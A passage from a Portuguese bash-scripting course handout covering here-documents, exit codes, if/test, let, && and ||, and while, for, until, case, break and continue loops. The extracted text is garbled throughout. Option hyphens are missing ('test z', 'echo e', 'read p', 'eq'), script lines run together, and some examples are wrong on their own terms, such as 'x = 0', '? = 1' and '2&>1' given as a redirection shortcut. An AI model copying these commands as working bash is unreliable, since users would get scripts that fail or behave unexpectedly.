Isto quer dizer que o programa vai ler o arquivo stdin até encontrar o delimitador. Isso é muito útil para usar programas externos através de shell scripts.Você pode, por exemplo, usar este tipo de redirecionamento para fazer um shell script escrever um outro  arquivo  usando  o   comando   "cat".  Vamos   a  um exemplo   em que  eu  crio  um código  de 

Adbeel Goes Filho

Page 49: Apostila de Shell Script

   ShellScripts                                                                           49

programa escrito em C através do script (note que as variáveis do script SÃO interpretadas):

#!/bin/bash

NAME=`whoami`

echo e "\n\tCRIANDO O ARQUIVO arquivo.c\n"

# O arquivo.c terminará quando encontrar a string _EOF_cat << _EOF_ > arquivo.c#include <stdio.h>

int main (void) {        printf ("\n\tPrograma que não faz nada além disso.\n");        printf ("\tFeito por $NAME\n\n");        return 0;}_EOF_# O arquivo.c acabou na linha ACIMA do _EOF_# Observe no arquivo.c o $NAME será "traduzido" para o username adequado

echo e "\n\tCOMPILANDO O PROGRAMA\n"gcc arquivo.c o arquivo

echo e "\n\tFEITO!\n"

11.11.Códigos de Escape Códigos de Escape 

Toda vez que executamos um programa em Unix, ele retorna um código de escape ao finalizar. Esse código reflete a condição em que o programa finalizou. Se ocorreu tudo certo e o programa terminou normalmente, ele retorna 0. Se ocorreu algum problema, o programa retorna um código diferente de 0, geralmente variando com o problema ocorrido.

Esse código de retorno é extremamente importante em shell  script, pois é assim que testamos se uma certa ação ocorreu bem ou teve problemas. Esse código é armazenado pelo bash numa variável chamada "?" (isso mesmo, somente o sinal de interrogação ;)).

Por exemplo, vamos executar um "ls" em um diretório que existe e ver o código de retorno:

virtvs@mucuripe:~$ ls /boot System.map boot.0300 boot.b boot_message.txt chain.b config map os2_d.b virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$

Adbeel Goes Filho

Page 50: Apostila de Shell Script

   ShellScripts                                                                           50

Ou seja, o "ls" foi executado normalmente, retornando 0. Agora vamos executálo num diretório que não existe:

virtvs@mucuripe:~$ ls /diretorio_invalido /bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$

Como esperado, obtemos o retorno de erro 1.

Alguns programas tem muitos códigos de retorno. Por exemplo, os códigos de retorno do "pppd" vão até o 19. Assim é possível saber porque ele foi finalizado. Se você colocar uma senha errada no pppd e tentar conectar, ele vai terminar com o código 19.

man pppd ... 17 The PPP negotiation failed because serial loopback was detected. 18 The init script failed (returned a nonzero exit status). 19 We failed to authenticate ourselves to the peer. ...

Um detalhe importante: quando executamos um programa em background, ele sempre retorna um código 0 para o  shell, mesmo que durante sua execução ocorra algum problema. Assim, quando executamos um programa em bg, perdemos essa facilidade de testar como foi seu término.

virtvs@mucuripe:~$ ls /diretorio_invalido & [1] 230 virtvs@mucuripe:~$ /bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado

[1]+ Exit 1 /bin/ls $LS_OPTIONS /diretorio_invalido virtvs@mucuripe:~$ echo $? 0

Como vemos, ao terminar, ele emite uma mensagem dizendo que finalizou com código 1 ([1]+ Exit 1) mas quando testamos a variável "?", o bash nos diz "0".

12.12.ConclusõesConclusões

Como todos os  programas  tem que  terminar com um código de retorno que  tenha algum significado, nossos  shell  scripts também terão que finalizar indicando o que aconteceu, se ocorreu tudo bem ou se ouve erro. Mas isso discutiremos melhor mais pra frente.

O   importante   aqui  é   saber   que   todos  os   programas   terminam com um código  de retorno, os quais usaremos nos nossos scripts para testar o término dos programas.

Adbeel Goes Filho

Page 51: Apostila de Shell Script

   ShellScripts                                                                           51

13.13.ExerciciosExercicios

1. Qual a diferença entre o pipe (|) e o ponto e virgula (;)  ?

2. Digite o comando abaixo em duas linhas unidas pelo metacaractere \. $cat /home/lab/texto1 /home/lab/text2

3. Liste, paginando, todos os processos que estão sendo executados.

4. Mostre  todos os processos do usuário root.

5. O que faz o comand: $ps ef | cut c9

6. Quantas pessoas estão executando o processo ksh ?

7. Quantos subdiretórios existem dentro do diretório /usr ?

Adbeel Goes Filho

Page 52: Apostila de Shell Script

   ShellScripts                                                                           52

Capitulo 3. Capitulo 3. Comandos CondicionaisComandos Condicionais

Trataremos   agora   de   "comandos   condicionais".   Condicionais   são   comandos   que avaliam uma expressão. Se ela for verdadeira, uma determinada rotina é executada. Caso contrário, outra rotina pode ser executada.

O famoso "if" 

O bash nos oferece, entre outros, o comando “if” (ele é um comando embutido no bash e não um programa como o "ls", o "cp" etc.). A forma mais simples de representar uma condicional utilizando o “if”, é da seguinte forma básica:

if [condição]; then comandos1; else comandos2; fi; 

Se [condição] for verdadeira, os comandos1 são executados. Se for falsa, os comandos2 são executados. Mas para o if, o que é uma condição verdadeira ou uma falsa ?

Como   foi   explicado   anteriormente,   TODO   comando   em   Unix   tem   um   código   de retorno. Geralmente o código "0" (zero) significa que o comando foi executado perfeitamente e terminou bem. Códigos maiores que zero significam que alguma coisa de errado ocorreu.

É assim que o if verifica uma condição. Se o seu código de retorno for zero, então ela é considerada   verdadeira.   Caso   contrario,   ela   é   falsa.   Mas   então   a   [condição]   tem   que   ser   um comando, certo? Exatamente. Vamos exemplificar:

virtvs@mucuripe:~$ if ls /boot; then echo "O diretório existe."; else echo "Diretório inválido."; fi; System.map boot.0300 boot.b boot_message.txt chain.b config map os2_d.b O diretório existe. 

O que fizemos ?

Logo após o if, nós colocamos um comando: "ls /boot". O que o  if  faz ? Ele executa esse comando (por isso que temos a segunda linha começada por "System.map", que é o conteúdo do meu diretório /boot) e avalia o seu código de saída. Como o "ls" foi executado corretamente, ele retorna zero, significando verdadeiro para o  if , que executa o comando logo após o "then", ou seja, o echo "O diretório existe.", mostrando essa mensagem no console.

Agora vamos colocar um diretório que não existe:

Adbeel Goes Filho

Page 53: Apostila de Shell Script

   ShellScripts                                                                           53

virtvs@mucuripe:~$ if ls /dir_invalido; then echo "O diretório existe."; else echo "Diretório inválido."; fi; /bin/ls: /dir_invalido: Arquivo ou diretório não encontrado Diretório inválido. 

A lógica é a mesma. Executa o "ls /dir_invalido", que retorna um código maior que zero. O  if  avalia como falso e executa o comando após o else: echo "Diretório inválido".

Nós poderíamos omitir a segunda linha dos dois exemplo (a que mostra o conteúdo de /boot no primeiro exemplo e a mensagem de erro emitida pelo ls dizendo que /dir_invalido não existe no segundo), apenas redirecionando as saídas para /dev/null, ou seja:

virtvs@mucuripe:~$ ls /boot 1> /dev/null 2> /dev/null 

Nota: Tem um macete que possui o mesmo efeito. Em vez de colocar: "1> /dev/null 2> /dev/null" podemos colocar "2&>1", que é menor e mais simples.

Comando "test" 

Aprendemos que o “if” avalia a código de retorno de um comando. Muitas vezes, para não dizer a maioria, nós queremos avaliar "expressões", ou seja, verificar se uma variável é igual a outra, se ela esta vazia etc.

Para isso, nós temos outro comando chamado "test". Ele funciona da seguinte maneira: 

test [expressão]

O test pode testar operações de três tipos: strings, arquivos e aritméticas.

Expressões usando strings: 

O test  pode  apenas  comparar   strings,  ou  seja,  verificar   se  uma é   igual  a  outra,   e verificar se uma string é vazia ou não. Vamos aos exemplos para facilitar o entendimento:

virtvs@mucuripe:~$ test "a" = "a" virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test "a" = "b" virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test "a" != "b" virtvs@mucuripe:~$ echo $? 0 

Adbeel Goes Filho

Page 54: Apostila de Shell Script

   ShellScripts                                                                           54

Aqui comparamos a string "a" com "b". Como era de se esperar, o primeiro retornou verdadeiro (zero), pois a = a e o segundo retornou falso. No terceiro, o símbolo "!=" significa "diferente".

virtvs@mucuripe:~$ test z "neo" virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test z "" virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test n "neo" virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test n "" virtvs@mucuripe:~$ echo $? 1 

Acima temos os testes de vazio. A opção "z" verifica se é vazio, e "n" se não é vazio. No primeiro caso, ele testa se "neo" é uma string vazia, retornando falso. Já no segundo caso, como "" é vazia, retorna verdadeiro. O terceiro e quarto são semelhantes aos primeiros, mas com "n".

Expressões com arquivos: 

Os   testes   que   podem   ser   feitos   com   arquivos   são   para   verificar   determinadas caracteristicas, como se ele existe, se é executavel, se é um link simbólico, se é um diretório etc.

A seguir, temos uma lista de várias opções disponíveis:

b arquivo   Verdadeiro se arquivo é um arquivo de bloco, como /dev/hda. c arquivo   Verdadeiro se arquivo é um arquivo de caracter, como /dev/tty1. d arquivo   Verdadeiro se arquivo é um diretório. e arquivo   Verdadeiro se arquivo existe. f arquivo   Verdadeiro se arquivo existe e é um arquivo comum. s arquivo   Verdadeiro se arquivo existe e não é vazio. h arquivo   Verdadeiro se arquivo é um link simbólico. p arquivo   Verdadeiro se arquivo é um "named pipe" (fifo, lifo, etc). S arquivo   Verdadeiro se arquivo é um "socket". k arquivo   Verdadeiro se arquivo tem seu "sticky bit" ligado. r arquivo   Verdadeiro se arquivo pode ser lido pelo usuário atual. w arquivo   Verdadeiro se arquivo pode ser escrito pelo usuário atual. x arquivo   Verdadeiro se arquivo pode ser executado pelo usuário atual. O arquivo   Verdadeiro se arquivo pertence ao usuário atual. G arquivo   Verdadeiro se arquivo pertence ao grupo do usuário atual. N arquivo   Verdadeiro se arquivo foi modificado desde a ultima vez que foi lido. 

Alguns exemplos:

Adbeel Goes Filho

Page 55: Apostila de Shell Script

   ShellScripts                                                                           55

A opção "e" verifica apenas se um arquivo existe e a opção "d" verifica se o arquivo é um diretório.

A opção "nt" verifica se o primeiro arquivo é mais novo que o segundo (nt = newer than) e "ot" verifica se o primeiro é mais velho que o segundo (od = older than):

virtvs@mucuripe:~$ test e /vmlinuz virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test d /vmlinuz virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test e /usr virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test d /usr virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test /usr nt /vmlinuz virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test /usr ot /vmlinuz virtvs@mucuripe:~$ echo $? 1 

#!/bin/bash

if [ $1 = $2 ]; then        echo As strings são iguais.fi$ ./strcmp1.sh meleu./strcmp.sh: [: meleu: unary operator expected

Note que o test deu um erro, e por isso retornou um nãozero para o if. Observe o seguinte:

$ cat strcmp2.sh#!/bin/bashif [ $1 = $2 ]; then        echo As strings são iguais.else        echo As strings são diferentes.fi

$ ./strcmp2.sh meleu

Adbeel Goes Filho

Page 56: Apostila de Shell Script

   ShellScripts                                                                           56

./strcmp.sh: [: meleu: unary operator expected

As strings são diferentes.

Aconteceu a mesma coisa que no primeiro exemplo, só que agora temos um else pra ser executado caso a expressão do if retorne falso (ou nãozero). Uma solução pra que não dê este erro no test é usar aspas duplas. Veja só:  #!/bin/bashif [ "$1" = "$2" ]; then        echo As strings são iguais.else        echo As strings são diferentes.fi

Você também NÃO deve escrever tudo junto, assim: $1=$2 ou "$1"="$2" Desta maneira o  test vai retornar sempre verdadeiro, pois seria como se você  estivesse passado somente um parâmetro para ele.

#!/bin/bashNUM1=1NUM2=00001

if [ "$NUM1" = "$NUM2" ];then  echo "O valor string de $NUM1 e $NUM2 são iguais."else  echo "O valor string de $NUM1 e $NUM2 são diferentes."fi

if [ $NUM1 eq $NUM2 ];then  echo "O valor numérico de $NUM1 e $NUM2 são iguais."else  echo "O valor numérico de $NUM1 e $NUM2 são diferentes."fi

Para fazer cálculos aritméticos podemos fazer o seguinte esquema

$ echo $[ 2 * 3 + 4 ]10$ echo $[ 2 * ( 3 + 4 ) ]14

Adbeel Goes Filho

Page 57: Apostila de Shell Script

   ShellScripts                                                                           57

Basta   colocar   a   expressão   entre   $[   ...   ].   Você   também   pode   usar   $((cifrãodoisparênteses)) mas os colchetes são bem mais práticos.  Se você  pretende usar mais coisa relacionada a matemática, então aprenda a usar o comando "bc". Mas se vai ficar só no "papaimamãe" das operações básicas pode ficar usando $(( )) ou $[ ](OBS.: em operações de divisão os resultados não são muito satisfatórios).

operadores lógicos (AND e OR)

Para usar os operadores  lógicos basta  usar "a" para AND e "o"  para OR. Muito simples. O exemplo a seguir usa o AND e também usa um novo tipo de comando de controle, o "elif", que é a mesma coisa que "else if", só que se você usar "else if" vai precisar de um "fi" para fechar. O elif não precisa disso.

Preste atenção que é fácil de entender para quem tem noção de algoritmo:

#!/bin/bashread p "Entre com o primeiro número: " NUM1read p "Entre com o segundo número: " NUM2read p "Entre com o terceiro número:  " NUM3

# Observe o "a" (AND) na expressão abaixoif [ $NUM1 le $NUM2 a $NUM1 le $NUM3 ]; then    MENOR=$NUM1    if [ $NUM2 le $NUM3 ]; then        MEIO=$NUM2        MAIOR=$NUM3    else        MEIO=$NUM3        MAIOR=$NUM2    fielif [ $NUM2 le $NUM3 ]; then    MENOR=$NUM2    if [ $NUM1 le $NUM3 ]; then        MEIO=$NUM1        MAIOR=$NUM3    else        MEIO=$NUM3        MAIOR=$NUM1    fielse    MENOR=$NUM3    if [ $NUM1 le $NUM2 ]; then       MEIO=$NUM1       MAIOR=$NUM2

Adbeel Goes Filho

Page 58: Apostila de Shell Script

   ShellScripts                                                                           58

    else       MEIO=$NUM2       MAIOR=$NUM1    fifiecho "$MENOR < $MEIO < $MAIOR"

O comando let

O   let   é   um  comando  embutido   no   bash   (e   isto   quer   dizer   que   se   você   quiser informações   sobre   ele   tem   que   ver   na  manpage  do   bash,   mais   especificamente   no   tópico ARITHMETIC EVALUATION). Ele é bastante útil para quem está acostumado com programação C, pois sua sintaxe é semelhante, mas só é usado para expressões aritméticas.

Com este comando você pode comparar valores numéricos com os sinais <, >, <=, >=, ==, e !=. E mais bastante coisa comum em linguagem C (como por exemplo o ++ e o ). Alguns exemplos do que você pode fazer:

let var++               # equivalente a "var=$[ $var + 1 ]"let var                # equivalente a "var=$[ $var  1 ]"let "$num > 2"           # equivalente a "[ $num gt 2 ]"

Outra coisa interessante é que você pode substituir

let "expressao" por (( expressao ))

Portanto os exemplos acima poderiam ser feitos assim:

(( var++ ))(( var ))(( $num > 2 ))

Veja este script abaixo apenas para entender a utilidade do let:

Exemplo:

#!/bin/bashif (( $# != 2 )) ; then    # poderia ser: if let "$# != 2"        echo "Uso: `basename $0` N1 N2" 1>&2        exit 1fiif (( $1 > $2 )) ; then    # poderia ser: if let "$1 > $2"        echo "$1 é maior que $2"elif (( $1 == $2 )) ; then    # poderia ser: elif let "$1 == $2"        echo "$1 é igual a $2"

Adbeel Goes Filho

Page 59: Apostila de Shell Script

   ShellScripts                                                                           59

else        echo "$1 é menor que $2"fi

 4. Tomadas de decisão com && e ||

Esta   maneira   de   tomar   decisões   é   bem   compacta,   mas   não   aceita   "else".   Eu, particularmente, prefiro usar esta estrutura quando vou fazer uma tomada de decisão e não preciso de "else". A maneira de usar é:

   comando1 && comando2   comando1 || comando2

O   &&   executa   o   primeiro   comando   e   somente   se   este   retornar   0   (não   ocorrer problemas) o segundo será executado. O || executa o primeiro comando e somente se este retornar nãozero (ocorrer problemas) o segundo será executado.Veja um exemplo bem simples:

$ [ d ~/tempdir ] || mkdir ~/tempdir

Como você deve estar lembrado, "[ d ~/tempdir ]" é o mesmo que "test d ~/tempdir" e retornará 0 se existir o diretório ~/tempdir. Caso não exista ele retornará 1, e neste caso o "mkdir ~/tempdir" será executado.

Vejamos um parecido usando o &&:

$ [ d ~/tempdir ] && ls ld ~/tempdir

Listas

As listas de comandos servem para agrupar comandos. Podem ser representadas por (parenteses) ou {chaves}. A diferença é  que os (parenteses) executam os comandos num  shell  a parte e as {chaves} executam no shell atual.

Execute comando a seguir e tente entendêlo (está certo... são vários comandos, mas inicialmente é encarado com um comando só).

Exemplo:

[ d /usr/doc ] && {echo "O diretorio existe"echo "veja o seu conteudo"cd /usr/docls}

E observe que ao final da execução você estará no diretório /usr/doc, o que comprova que com as {chaves} os comandos são executados no  shell  atual, se você trocar as {chaves} por 

Adbeel Goes Filho

Page 60: Apostila de Shell Script

   ShellScripts                                                                           60

(parênteses) observará que o seu diretório não se alterará.

FYI: para saber o diretório atual o comando a ser usado é o "pwd".

Expressões Aritméticas

Expressões   aritméticas   consistem com comparar   dois   números,   verificando   se   são iguais, ou se o primeiro é maior que o segundo etc.

Infelizmente não podemos apenas utilizar os símbolos conhecidos para igual (=), maior que   (>),  menor   que   (<)   etc.  Temos  que  usar   operadores   reconhecidos  pelo   "test".  Assim,  não podemos fazer: "test 1 = 1", devemos utilizar o operador "eq" (equal): "test 1 eq 1". A seguir, temos uma lista dos operadores:

eq (equal): Igual; ne (notequal): Não Igual (diferente); lt (less than): Menor que (<); le (less than or equal): Menor ou igual ( <= ); gt (greater than): Maior que (>); ge (greater than or equal): Maior ou igual (>=); Alguns exemplos:

virtvs@mucuripe:~$ test 1 lt 2 virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test 1 gt 2 virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test 2 gt 1 virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test 2 ge 2 virtvs@mucuripe:~$ echo $? 0

Para finalizar, vamos fazer duas considerações. A primeira é  de que o comando "test" pode ser substituido por um par de colchetes [ ]. Assim, o comando test "a" = "b" pode ser escrito como [ "a" = "b" ] .

Essa segunda nomenclatura fica mais fácil e simples, principalmente quando estamos utilizando IF:

if [ e /vmlinuz ]; é mais intuitivo e simples que if test e /vmlinuz; .

A segunda consideração é que, obviamente, podemos utilizar variáveis no lugar dos 

Adbeel Goes Filho

Page 61: Apostila de Shell Script

   ShellScripts                                                                           61

argumentos   (caso   contrário,   ficaria   difícil   utilizar   comandos   de   condicionais   em  shell  script). Assim, se tivermos duas variaveis, valor1=5 e valor2=8:

[ "$valor1" = "$valor2" ] , [ "$valor1" lt "$valor2" ] etc.

É  importante colocarmos os valores entre aspas duplas ("), pois assim o bash pode substituir o que se encontra dentro dessas aspas. Se colocarmos entre aspas simples ('), impedimos o bash de  alterar  o  que se  encontra  dentro  delas.  Se não utilizarmos as aspas  duplas,  vamos  ter problemas, principalmente ao trabalharmos com string.

Por   exemplo,   queremos   comparar   dois   nomes,   que   se   encontram   em   duas variaveis:nome1="fulano   de   tal"   e   nome2="ciclano".   Montando   nossa   expressão   condicional: [ "$nome1" = "$nome2" ]. O bash irá expandir isso para: [ "fulano de tal" = "ciclano" ], ficando claramente definidos o primeiro e o segundo argumento.

Agora, se não usarmos aspas: [ $nome1 = $nome2 ]. O bash irá expandir isso para: [ fulano de tal = ciclano ]. Perceba que os argumentos se misturam e o bash não vai saber o que comparar. Por isso é importante colocarmos os argumentos entre aspas duplas.

Conclusão 

Resumindo, aprendemos na aula de hoje como utilizar comandos condicionais. Isso será fundamental nos próximos capitulos, onde iremos tratar os comandos de laço, como o while.

Adbeel Goes Filho

Page 62: Apostila de Shell Script

   ShellScripts                                                                           62

Capitulo 4. Capitulo 4. Comandos de RepetiçãoComandos de Repetição

Vamos aprender agora sobre comandos de laço como o while, for, case e select. Eles nos permitem executar alguns comandos diversas vezes, sob determinadas condições e até montar menuzinhos para interagir com o usuário.

14.14.whilewhile

Este   é   provavelmente   o   comando   de   laço   mais   utilizado   em   programação.   Seu entendimento   é   simples.   Ele   testa   uma   condição   (como   faz   o   IF)   e   executa   um   conjunto   de comandos se esta condição for verdadeira. Após a execução desses comandos, ele torna a testar a condição e se esta for verdadeira, ele reexecuta os comandos e assim por diante.

Sua sintaxe é a seguinte:

while [ condição ]; docomando 1;comando 2;...

done;

O parâmetro [ condição ] funciona exatamente igual ao do IF.  

Bom, vamos ao exemplo mais simples do while: um contador.

x = 0while [  "$x" le 10 ];do  echo "Execução número:  $x"?;  x = $((x+1));done;

Analisando: 

Na primeira linha temos a condição: enquanto o valor da variável x ( $x ) for menorigual ( le ) a 10, faça: mostre "Execução número: " e o valor de x ($x). Faça x = x + 1. Isso no bash é feito pelo comando $(( )). Ele realiza operações algébricas com variáveis. No caso acima, estamos somando x + 1 e colocando o resultado no próprio x.

Adbeel Goes Filho

Page 63: Apostila de Shell Script

   ShellScripts                                                                           63

Preste atenção, que as linhas do while precisam de um ";" para terminar, exceto a que contém o "do", pois ele representa o começo do bloco de comandos.

Quando executamos o script acima, temos uma contagem de 1 até 10:

virtvs@mucuripe:~$ x=0; while [ "$x" lt 10 ]; do x=$((x+1)); echo"Execução número: $x"; done;Execução número: 1Execução número: 2...Execução número: 10virtvs@mucuripe:~$ 

O  while  tem muita utilidade em programação, mas fica difícil dar exemplos usando somente ele, pois geralmente ele está  associado a execução de outros programas e rotinas mais complexas.

Eu   costumo   usar   ele,   por   exemplo,   quando   quero   que   o  napster  fique   tentando conectar, pois quando ele vai tentar conectar o servidor e não consegue, ele simplesmente termina. Aí eu coloco o while testando a código de retorno dele (lembram da variável $? ) e enquanto estiver diferente de zero (o napster terminou com erro), ele fica executando o napster:

? = 1; while [ "$?" ne "0" ]; do ./nap; done;

O comando "? = 1" tenta atribuir 1 a variável ?. Isso provoca um erro, pois a variável ? É somente de leitura. Isso é necessário para que ? Contenha algo diferente de 0, pois senão o while não executa a primeira interação.

15.15.for for 

O for é semelhante ao while usado como um contador. É necessário fornecer uma lista de nomes e ele executa os comandos para cada nome na lista. Parece meio confuso, mas é simples. Veja a sintaxe:

for <var> in <lista>; docomandos

done;

O   for   associa   o   primeiro   item   da   lista   de   nomes   à   variável   <var>   e   executa   os comandos. Em seguida, associa novamente o segundo item da lista à <var> e executa novamente os comandos... e assim por diante, até acabar a lista.Veja o exemplo:

Adbeel Goes Filho

Page 64: Apostila de Shell Script

   ShellScripts                                                                           64

virtvs@mucuripe:~$ for x in Compra Venda Aluguel; do echo $x; done;CompraVendaAluguel

Ou seja, primeiro ele coloca "Compra" na variável x e executa os comandos, no caso, "echo $x", e assim por diante. Podemos facilmente implementar um contador, usando em conjunto com o for, o programinha "seq". Ele simplesmente gera uma seqüência de números. Por exemplo, "seq 10" gera uma seqüência de 1 até 10. Assim, podemos usálo no for:

for x in $(seq 10); do echo $x; done;

Esse comando é semelhante ao contador implementado com o while. Primeiro o x vale 1 e o for executa os comandos. Depois x vale 2 e ele reexecuta os comandos...

Vamos usar o for para renomear os arquivo de um diretório, mudando todos os arquivo terminados em ".mp3" para ".mp3.bak".

for x in *; do   mv "$x" "${x}.bak"; done;

for x in *.mp3; do   if [ e "$x" ];     then mv "$x" "${x}.bak";   fi; done;

No   local   de   <lista>   nos   colocamos   "*.mp3".   Isso   diz   ao   bash   para   expandir (transformar) ele na lista de arquivos terminados com ".mp3". Senão houver nenhum arquivo com essa terminação, o bash não faz nada, ficando para o for a string "*.mp3". Por isso precisamos do if para testar se o arquivo existe. Experimente no seu sistema. echo *.mp3 vai mostrar os arquivos no diretório atual com terminação mp3, mas sem quebra de linha entre eles, ou seja, um nome após o outro. Se não houver nenhum arquivo com terminação mp3, ele apenas vai mostrar "*.mp3".

Bem,  voltando  ao  for,   ele  vai  atribuir  a   "x"  cada  nome na   lista  de  arquivos  com terminação ".mp3" e executar os comandos seguintes. Primeiro ele testa para ver se o arquivo existe ( if [ e "$x" ]; ), e se existir, renomeia ele para o seu próprio nome acrescido de ".bak" ( ${x}.bak ). 

Resumindo,   o  for  faz   isso:   você   fornece   uma   lista   de   nomes   para   ele   e   ele   vai atribuindo esses nomes, em ordem e um por vez, à variável <var> e executa os comandos entre o "do" e o "done;".

    Agora para usarmos um for um pouco parecido com o das linguagens de programação convencionais   usamos   um   comandinho   chamado   "seq".   Ele   funciona   basicamente   da   seguinte forma:

Adbeel Goes Filho

Page 65: Apostila de Shell Script

   ShellScripts                                                                           65

$ seq 1 1012345678910

        # pode ser em ordem decrescente também:

$ seq 10 110987654321

Examplo:

#!/bin/bash

if [ $# ne 1 ]; then    echo "Uso: `basename $0` n"    echo "Onde 'n' é um número inteiro qualquer"    exit 1fi

for OP in `seq 1 10`; do  echo e "$1 + $OP = $[ $1 + $OP ] \t $1  $OP = $[ $1  $OP ]"done

echo

for OP in `seq 1 10`; do  echo e "$1 * $OP = $[ $1 * $OP ] \t \$1 / $OP = `echo "scale=2;$1 / $OP" | bc`"done

Adbeel Goes Filho

Page 66: Apostila de Shell Script

   ShellScripts                                                                           66

 

16.16.untiluntil

É igual ao while, exceto por um detalhezinho. Veja a expressão básica e saberá:   until <expressão>; do      <comandos que serão executados enquanto <expressão> retornar FALSO>   done

Leia direitinho: comandos que serão executados enquanto <expressão> retornar FALSO! ;)

Exemplo:

#!/bin/bashCONT=10until [ $CONT eq 0 ]; do        echo ne "$CONT\t"        let CONTdoneecho

17.17.case case 

O case está mais para um comando condicional do que para comando de laço, visto que ele não executa "loopings" como o while e o for. Ele geralmente é utilizado como substituição de vários IFs.. Um exemplo clássico e muito utilizado é quando você precisa testar um parâmetro fornecido na   linha  de  comando.  O case  é  utilizado desta   forma em scripts  de   inicialização de serviços do sistema. Vou mostrar a sintaxe em em seguida um script que inicialize/ reinicialize ou pare algum serviço (como o sendmail, apache, bind, etc).

Sintaxe:

case <parâmetro> in  <opção 1>)                          <comandos 1>                         ;;   [opção 2] )                         <comandos 2>                         ;;   * )                         < comandos se não for nenhuma das opções >                        ;;

Adbeel Goes Filho

Page 67: Apostila de Shell Script

   ShellScripts                                                                           67

esac

Vamos as explicações. O case pega a string fornecida em <parâmetro> e compara com <opção 1>. Se forem iguais, ele executa <comandos 1> e sai fora. Caso contrário, ele compara <parâmetro> com <opção 2> e assim por diante. Caso <parâmetro> não seja igual a nenhuma das opções, ele executa os comandos da opção "*", se este existir. Prestem atenção a alguns detalhes na sintaxe. Deve existir um ")" após cada opção e também um ";;" após todos os comandos de cada opção. Vejam o exemplo abaixo:

case "$1" in

'start' )               echo "Iniciando o serviço..."               <comandos para iniciar o serviço>               ;;'restart' )               echo "Reinicializando o serviço..."               <comandos para reinicializar o serviço>               ;;'stop' )               echo "Parando o serviço..."               <comandos para parar o serviço>               ;;*)               echo "Opção invalida!"               echo "As opções válidas são: start,   stop   e   restart"               ;;esac

O case serve exatamente para isso, ou seja, evitar o teste de vários Ifs. No caso acima, teríamos que utilizar 3 Ifs. Mesmo se o primeiro já fosse verdadeiro, o bash iria testar o segundo e o terceiro, ou seja,  ia perder tempo desnecessariamente. Já no case isso não acontece. Após entrar em uma opção e executar seus comandos, ele já pula fora do case sem testar as outras opções abaixo.

18.18.break e continuebreak e continue

Estes comandos são úteis quando usamos loops.

break

    Quebra a execução do loop. Para entender nada melhor que um exemplo:

Adbeel Goes Filho

Page 68: Apostila de Shell Script

   ShellScripts                                                                           68

Examplo:

#!/bin/bash# `true` sempre retorna verdadeirowhile true; do        read p "Tente adivinhar o número: " NUM        [ "$NUM" eq 666 ] && breakdone

echo e "\nVocê acertou! \n"

O que o break faz é pular a sequência de execução do script para o que vier depois do "done". Ele também aceita argumento, da seguinte forma: "break n", onde 'n' é um número inteiro que indica quantos "done's" pular.

continue

O continue interrompe o loop e faz novamente o teste do comando que está controlando o loop (for, while, etc.). Veja este exemplo:

Examplo:

#!/bin/bash

[ $1 ] || { echo "Entre com o(s) nome(s) do arquivo(s)"; exit 1; }

for FILE in $@; do        [ f $FILE ] || {                echo e "\"$FILE\" não é um arquivo\n"                continue        }

        cat $FILE >> AllFiles.txt        echo e "\n\n\n=============\n\n\n" >> AllFiles.txt

done

echo "Feito!"

O que o continue faz é voltar lá para antes do "do" pra fazer o teste novamente. Ele também aceita argumento no estilo "continue n" para indicar quantos "do's" voltar.

Adbeel Goes Filho

Page 69: Apostila de Shell Script

   ShellScripts                                                                           69

19.19.Redirecionando loopsRedirecionando loops

Lendo o livro "Linux: Programação Shell" (ver Referências) eu aprendi umas formas de  usar   redirecionamento  para   loops.  Vou  tentar  passar  os  esquemas aqui  através  de  exemplos meramente   ilustrativos.   Vamos   a   eles,   lembrando   daqueles   conceitos   passados   no   tópico   3. (principalmente sobre o read e sobre os redirecionamentos).

"pipeando" para o while

Vamos imaginar um arquivo onde eu tenho os nomes de alguns amigos meus e a região onde eles moram. Como alguns amigos moram em uma mesma região eu não vou ficar repetindo a região para cada um. Portanto o arquivo fica assim:

############################## lista de amigos e estados ################################ OBS.: ISSO NÃO É UM SCRIPT!## Linhas que COMEÇAM com '#' serão consideradas# comentários pelo script "listamigos.sh".## Use da seguinte forma:# REGIAO        amigo1 amigo2 amigo3 amigoN ...#

Nordeste       slater nashleon xf eSc2Sudeste         module hekodangews manalaura blindbard klogdSul              evillord emmanuele

Agora veja o script que usará as informações contidas no arquivo "amigos.regiao":

#!/bin/bash

# o egrep abaixo vai pegar o arquivo "amigos.regiao"# sem exibir as linhas que comecem com um caractere '#'# (considerado comentário) e sem mostrar linhas vazias,# em seguida vai redirecionar a saída para a entrada do# read que está lá no while (relembrese do read no# tópico 3.2.)egrep v "^#|^ *$" amigos.regiao |

Adbeel Goes Filho

Page 70: Apostila de Shell Script

   ShellScripts                                                                           70

while read REGIAO NOMES ; do        echo e "\e[1m> Amigos do $REGIAO:\e[m"        for amigo in $NOMES ; do                echo "$amigo"        done        echodone

Mas a coisa não é tão simples assim... Se dentro do loop você quisesse usar o comando read para ler do teclado, seria necessário pegar a entrada de "/dev/tty". Sabendo que o /dev/tty é o terminal que você está usando. Se você tiver muitos amigos no arquivo "amigos.regiao" não vaiconseguir ver todos, pois a lista não caberá numa tela só. Neste caso, o script a seguir será melhor que o "listamigos.sh".

#!/bin/bash

